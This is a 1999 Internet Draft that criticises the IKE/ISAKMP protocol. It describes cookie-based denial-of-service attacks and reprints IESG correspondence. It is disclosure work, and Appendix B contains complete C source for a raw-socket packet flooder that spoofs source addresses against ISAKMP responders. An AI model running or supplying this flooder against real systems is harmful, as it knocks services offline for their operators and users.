Network Working Group W A Simpson Internet Draft [DayDreamer] expires in six months April 1, 1999 IKE/ISAKMP Considered Dangerous draft-simpson-danger-isakmp-00.txt (A) Status of this Memo This document is an Internet Draft, and is in full conformance with all provisions of Section 10 of RFC2026, except that the right to produce derivative works is not granted. Internet Drafts are working documents of the Internet Engineering Task Force (IETF), its Areas, and its Working Groups. Note that other groups may also distribute working documents as Internet Drafts. Internet Drafts are draft documents valid for a maximum of six months, and may be updated, replaced, or obsoleted by other documents at any time. It is not appropriate to use Internet Drafts as reference material, or to cite them other than as "Work In Progress." The list of current Internet Drafts can be accessed at http://www.ietf.org/ietf/1id-abstracts.txt. To view the list of Internet Draft Shadow Directories, see http://www.ietf.org/shadow.html. Note that the first paragraph of this section is a meaningless bureaucratic requirement of the IESG. It is provided so as to satisfy those bureaucratic requirements, and serves no other purpose whatever. No assumption should be made that the author(s) have assented to any of it. Information as to any intellectual property rights, beyond the right to redistribute this document and make use of it for the purposes of an Internet Draft, should be sought in other parts of this document. Distribution of this memo is unlimited. Simpson expires in six months [Page i] DRAFT IKE/ISAKMP Dangerous April 1999 Copyright Notice Copyright (C) William Allen Simpson (1999). All Rights Reserved. Abstract IKE [RFC-2409] is a session-key exchange mechanism within the ISAKMP [RFC-2408] protocol framework. This combination is fraught with egregious fundamental design flaws. This document details a few of the more easily exploitable problems; including interoperability issues, privacy information leaking, and severe denial of service attacks. The author was prevented from publishing this information in the IETF, while awaiting publication of the more capable and robust Photuris specification [RFC-2522]. Simpson expires in six months [Page ii] DRAFT IKE/ISAKMP Dangerous April 1999 1. Introduction Since December 1995, a number of internet-drafts related to Internet Protocol Security have been awaiting official publication as Requests For Comments. The Internet Engineering Steering Group (IESG) made the unprecedented decision to delay publication of other work in any form, until the chartered Working Group had completed the next revision of their documents. Usually, Experimental work is published prior to a Proposed Standard. This internal IESG decision was not officially announced until after a formal appeal of the years of interminable delay. See Appendix A.1. Unfortunately, any delay of the Working Group documents meant that publication of the other work would be delayed as well. This had the effect of stifling overt criticism of the documents, despite their obvious faults. Eventually, in November 1998, the revised IP Security documents were published. It took several more months before publication of other specifications was permitted, and not all of them have been permitted. See Appendix A.2 and A.3. In the meantime, vast sums of money have been wasted implementing and testing the overly complicated and poorly specified IKE/ISAKMP. This document details a few of the more easily exploitable problems; including egregious fundamental design flaws, interoperability issues, privacy information leaking, and severe denial of service attacks. It is hoped that this draft will stimulate discussion. Simpson expires in six months [Page 1] DRAFT IKE/ISAKMP Dangerous April 1999 2. Cookies While Karn and Simpson are credited (see [RFC-2408 page 12]) with the cookie (anti-clogging token) concept taken from Photuris, the IKE/ISAKMP version of cookies fails to meet the explicit requirements set forth in Photuris: "The computing resources themselves must also be protected against malicious attack or sabotage.... Because of their use of CPU- intensive operations, such as modular exponentiation, key management schemes based on public-key cryptography are vulnerable to resource clogging attacks.... These attacks are mitigated through using time-variant cookies, and the elimination of receiver state during initial exchanges of the protocol." [Photuris-01 pages 2-3] "It MUST NOT be possible for anyone other than the issuing entity to generate cookies that will be accepted by that entity. This implies that the issuing entity will use local secret information in the generation and subsequent verification of a cookie." [RFC-2522 page 19] also [Photuris-01 page 12] "The Responder secret value that affects its cookies MAY remain the same for many different Initiators. However, this secret SHOULD be changed periodically to limit the time for use of its cookies (typically each 60 seconds)." [RFC-2522 page 20] "The Responder remains stateless until a shared-secret has been created." [RFC-2522 page 3] "Otherwise, the Responder returns a Cookie_Response. Note that the Responder creates no additional state at this time." [RFC-2522 page 15] also [Photuris-01 page 12] "The [Responder] cookie is not cached per Initiator to avoid saving state during the initial Cookie Exchange." [RFC-2522 page 20] Simpson expires in six months [Page 2] DRAFT IKE/ISAKMP Dangerous April 1999 2.1. Cookie Crumb Attack Unfortunately, ISAKMP replaces the time-variant secret of Photuris with a date and time stamp [RFC-2408 page 20], requires state in the Responder, and leaves a "cookie crumb" for every connection attempt. The problem is acknowledged, and inadequate hand-waving is recommended: "... the anticlogging [sic] mechanism should be used in conjuction [sic] with a garbage-state collection mechanism; an attacker can still flood a server using packets with bogus IP addresses and cause state to be created." [RFC-2408 page 13]. This text demonstrates utter failure to understand the fundamental purpose of the Photuris anti-clogging mechanism design, despite several repetitions in the Photuris specification: preventing the creation of state during a flooding attack. All tests have shown that garbage collection is not sufficient. One common implementation used over 50MB of memory during a 1 minute test. Moreover, a simple flooding program can consume 100% of the CPU, degrading performance to the extent that outgoing packets stop entirely. See Appendix B "Cookie Crumbs (Exploit)". Moreover, the problem is not limited to "bogus IP addresses". Valid IP addresses cause the same symptoms. Surprisingly, all variants of the exploit proved successful: single source address, single source port single source address, random source port random source address, single source port random source address, random source port This fundamental design flaw is endemic, and appears to be irremediable. Simpson expires in six months [Page 3] DRAFT IKE/ISAKMP Dangerous April 1999 2.2. Cookie Jar Attack Another significant problem is the lack of any resource limitation feature, such as is found in Photuris. In particular, an attacker can send a large number of ISAKMP proposals, collect the responses in a "cookie jar", then send a large number of key exchange messages all at once. The Responder is swamped by simultaneously calculating the shared- secrets and decrypting the nonces. Both operations are computationally expensive. Note that the attacker does not need to make any computations itself. The key exchange and nonce payloads can be properly formatted garbage. This attack is especially effective for an evesdropper in the path between a legitimate Initiator and Responder. The evesdropper can simulate an entire valid range of source addresses, making detection and avoidance of this attack very difficult. This fundamental design flaw is inherent in the specification, and remediation will require significant protocol changes. 2.3. Cookie Race Attack A more subtle flaw is a race condition between the phases after the initial exchange of cookies. An evesdropper on a path between the parties can observe a valid ISAKMP proposal header from the Responder, add appropriate message fields with garbage contents, and send the bogus message to the Responder, before the next correct message arrives from the Initiator. The Responder will waste significant time calculating a shared- secret, and will not discover the substitution until later verification fails. The Initiator will never discover the substitution, as there is no requirement that the Responder send any message to signal verification failures. The Initiator will futilely retransmit. Simpson expires in six months [Page 4] DRAFT IKE/ISAKMP Dangerous April 1999 Run, run, run, as fast as you can. You can't catch me, I'm the gingerbread man. This is a mere specification error, but affects interoperability. 3. Aggressive Denial of Service In the next installment, flaws in the "Aggressive" Exchange Mode will be detailed. A. Responses to Appeals A.1. Publication Delayed Date: Fri, 25 Jul 1997 19:16:25 -0700 To: "William Allen Simpson" From: Fred Baker Subject: Response to Appeal Cc: ietf@ietf.org This is to formally respond to your appeal to and question of the chair, regarding the delayed publication of the two internet drafts as Experimental RFCs: "ICMP Security Failures Messages", 04/30/1996, and "Internet Security Transform Enhancements", 04/30/1997, The sense of the IESG, and apparently your sense in naming them, is that both of these documents relate directly to and overlap with work being done in the IPSEC Working Group. In the IETF Plenary session in San Jose, and in various emails, the Security Area Director has stated that, regardless of the intended status of the draft, drafts that are closely related to the work currently being done in the IPSEC Working Group will not be published until the principal output of that working group has been published. This policy was propounded because some factions in that working group were telling potential customers that their approach was in fact the IETF approach, and the IESG felt that giving them an RFC number to quote would give them additional ammunition with which to confuse the marketplace. Note that, while the policy is the Security Area Director's, it was propounded with the explicit concurrence of the IESG. Simpson expires in six months [Page 5] DRAFT IKE/ISAKMP Dangerous April 1999 You also point out in your appeal that the POISED documents indicate that a document which fails to achieve Proposed Standard status may still be published as Experimental, and view our delay as violating this guidance. I believe you are mistaken; while POISED permits such a publication, POISED does not require it to be done on any given timetable, and does not preclude the IESG from an action such as it has taken in this case. The delay in publication of your documents (and others) has not precluded people from using the documents, only from marketing them to the ignorant as RFCs and therefore standards. Yes, I will agree - hastily - that anyone who is informed will know that RFCs are archival documents, and not automatically standards. However, you know as well as I that this fact is frequently lost in the translation from engineering to marketing, and in this case the marketing issue has been a serious factor. I am sorry that this delay has upset you. The IESG is not pleased with the progress of the IPSEC Working Group, which has been a difficult environment for everyone involved in it. We hope that the new chairs will be able to bring this work to closure and move the working group on to more productive efforts. A.2. Publication Granted Date: Tue, 16 Feb 1999 16:31:18 -0500 (Eastern Standard Time) From: Steve Coya To: RFC Editor cc: iesg@ietf.org, wsimpson@greendragon.com Subject: Photuris and ICMP documents The IESG has no problem with the publication of the following documents as Experimental RFCs: o The Photuris Session Key Management Protocol o Photuris Schemes and Privacy Protection o ICMP Security Failures Messages Simpson expires in six months [Page 6] DRAFT IKE/ISAKMP Dangerous April 1999 A.3. Publication Refused Date: Tue, 16 Feb 1999 17:07:50 -0500 (Eastern Standard Time) From: Steve Coya Reply-To: Steve Coya To: RFC Editor cc: iesg@ietf.org, wsimpson@greendragon.com Subject: Re: draft-simpson-ipsec-enhancement-01.txt to Experimental Greetings, The IESG consensus requests that Internet Security Transform Enhancements NOT be published as an Experimental RFC as this document adds sequence numbers to the old and obsolete AH and ESP transforms. In the case of ESP, it does so in an incompatible way. Publication of these documents could easily confuse implementors of IPSEC. The IESG will reconsider publication if this document is updated as needed and resubmitted. B. Cookie Crumbs (Exploit) #include #include #include #include #include #include #include #include #include #include #include #define USE_IP_SOURCE "10.10.10.10" #ifdef STRANGE_BSD_BYTE_ORDERING_THING /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */ #define FIX(n) (n) #else /* OpenBSD 2.1, all Linux */ #define FIX(n) htons(n) #endif #define IP_MF 0x2000 /* More IP fragment en route */ #define IPH 0x14 /* IP header size */ #define UDPH 0x8 /* UDP header size */ Simpson expires in six months [Page 7] DRAFT IKE/ISAKMP Dangerous April 1999 #define PADDING 72 /* first isakmp message length */ #define MAGIC 0x3 #define COUNT 0x1 void usage(u_char *); u_long name_resolve(u_char *); u_short in_cksum(u_short *, int); void send_cookies(int, u_long, u_long, u_short, u_short, u_short); /* Initiator Packet for ISAKMP Main Mode */ char isakmppacket[PADDING] = { 0x95, 0xfe, 0x04, 0x54, 0xa9, 0x11, 0xba, 0xe7, 0, 0, 0, 0, 0, 0, 0, 0, 0x01, 0x10, 0x02, 0, 0, 0, 0, 0, 0, 0, 0, 0x48, 0, 0, 0, 0x2c, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0x20, 1, 1, 0, 1, 0, 0, 0, 0x18, 1, 1, 0, 0, 0x80, 1, 0, 1, 0x80, 2, 0, 1, 0x80, 3, 0, 1, 0x80, 4, 0, 1 }; int main(int argc, char **argv) { int one = 1, i, rip_sock, x=1, id=1; u_long src_ip = 0, dst_ip = 0; u_short src_prt = 0, dst_prt = 0; if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("raw socket"); exit(1); } if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one)) < 0) { perror("IP_HDRINCL"); exit(1); } if (argc < 2) { usage(argv[0]); } if (!(dst_ip = name_resolve(argv[1]))) { exit(1); } dst_prt = 5000; for (;;) { #ifdef USE_IP_SOURCE Simpson expires in six months [Page 8] DRAFT IKE/ISAKMP Dangerous April 1999 src_ip = inet_addr(USE_IP_SOURCE); #else src_ip = ((arc4random() & 0xdfff) << 16) + arc4random(); #endif src_prt = arc4random(); send_cookies(rip_sock, src_ip, dst_ip, src_prt, dst_prt, id++); } return (0); } /* * Send ISAKMP initiator Main Mode packet. */ void send_cookies(int sock, u_long src_ip, u_long dst_ip, u_short src_prt, u_short dst_prt, u_short id) { u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */ u_char byte; /* a byte */ struct sockaddr_in sin; /* socket protocol structure */ u_int32_t cookiehalf; sin.sin_family = AF_INET; sin.sin_port = src_prt; sin.sin_addr.s_addr = dst_ip; /* * Grab some memory for our packet, align p_ptr to point at the beginning * of our packet, and then fill it with zeros. */ packet = (u_char *)malloc(IPH + UDPH + PADDING); p_ptr = packet; bzero((u_char *)p_ptr, IPH + UDPH + PADDING); // Set it all to zero byte = 0x45; /* IP version and header length */ memcpy(p_ptr, &byte, sizeof(u_char)); p_ptr += 2; /* IP TOS (skipped) */ *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */ p_ptr += 2; *((u_short *)p_ptr) = htons(id); /* IP id */ p_ptr += 2; /* *((u_short *)p_ptr) |= FIX(IP_MF); */ /* IP frag flags and offset */ p_ptr += 2; *((u_short *)p_ptr) = 247; /* IP TTL */ byte = IPPROTO_UDP; memcpy(p_ptr + 1, &byte, sizeof(u_char)); p_ptr += 4; /* IP checksum filled in by kernel */ Simpson expires in six months [Page 9] DRAFT IKE/ISAKMP Dangerous April 1999 *((u_long *)p_ptr) = src_ip; /* IP source address */ p_ptr += 4; *((u_long *)p_ptr) = dst_ip; /* IP destination address */ p_ptr += 4; *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */ p_ptr += 2; *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */ p_ptr += 2; *((u_short *)p_ptr) = htons(PADDING + 8); /* Length */ p_ptr += 4; cookiehalf = arc4random(); bcopy(&cookiehalf, isakmppacket, 4); cookiehalf = arc4random(); bcopy(&cookiehalf, isakmppacket + 4, 4); bcopy(isakmppacket, p_ptr, PADDING); if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("\nsendto"); free(packet); exit(1); } free(packet); } u_long name_resolve(u_char *host_name) { struct in_addr addr; struct hostent *host_ent; if ((addr.s_addr = inet_addr(host_name)) == -1) { if (!(host_ent = gethostbyname(host_name))) return (0); bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length); } return (addr.s_addr); } void usage(u_char *name) { fprintf(stderr, "%s dst_ip\n", name); exit(0); } Simpson expires in six months [Page 10] DRAFT IKE/ISAKMP Dangerous April 1999 Security Considerations Any site that has deployed IKE/ISAKMP SHOULD revert to manual keying. Acknowledgements A number of folks have contributed anonymously to this document. References [Photuris-01] Karn, P., and Simpson, W., "The Photuris Session Key Management Protocol", draft-karn-photuris-01.txt, Work In Progress, March 1995. [RFC-2408] [RFC-2409] [RFC-2522] Karn, P., and Simpson, W., "Photuris: Session-Key Management Protocol", March 1999. [Schneier95] Schneier, B., "Applied Cryptography Second Edition", John Wiley & Sons, New York, NY, 1995. ISBN 0-471-12845-7. Contacts Comments about this document should be discussed on the ietf@ietf.org mailing list. Questions about this document can also be directed to: William Allen Simpson DayDreamer Computer Systems Consulting Services 1384 Fontaine Madison Heights, Michigan 48071 wsimpson@UMich.edu wsimpson@GreenDragon.com (preferred) Simpson expires in six months [Page 11] DRAFT IKE/ISAKMP Dangerous April 1999 Full Copyright Statement Copyright (C) William Allen Simpson (1999). All Rights Reserved. This document and translations of it may be copied and furnished to others, and derivative works that comment on or otherwise explain it or assist in its implementation may be prepared, copied, published and distributed, in whole or in part, without restriction of any kind, provided that the above copyright notice and this paragraph are included on all such copies and derivative works. However, this document itself may not be modified in any way, except as required to translate it into languages other than English. This document and the information contained herein is provided on an "AS IS" basis and the author(s) DISCLAIM ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING (BUT NOT LIMITED TO) ANY WARRANTY THAT THE USE OF THE INFORMATION HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Simpson expires in six months [Page 12]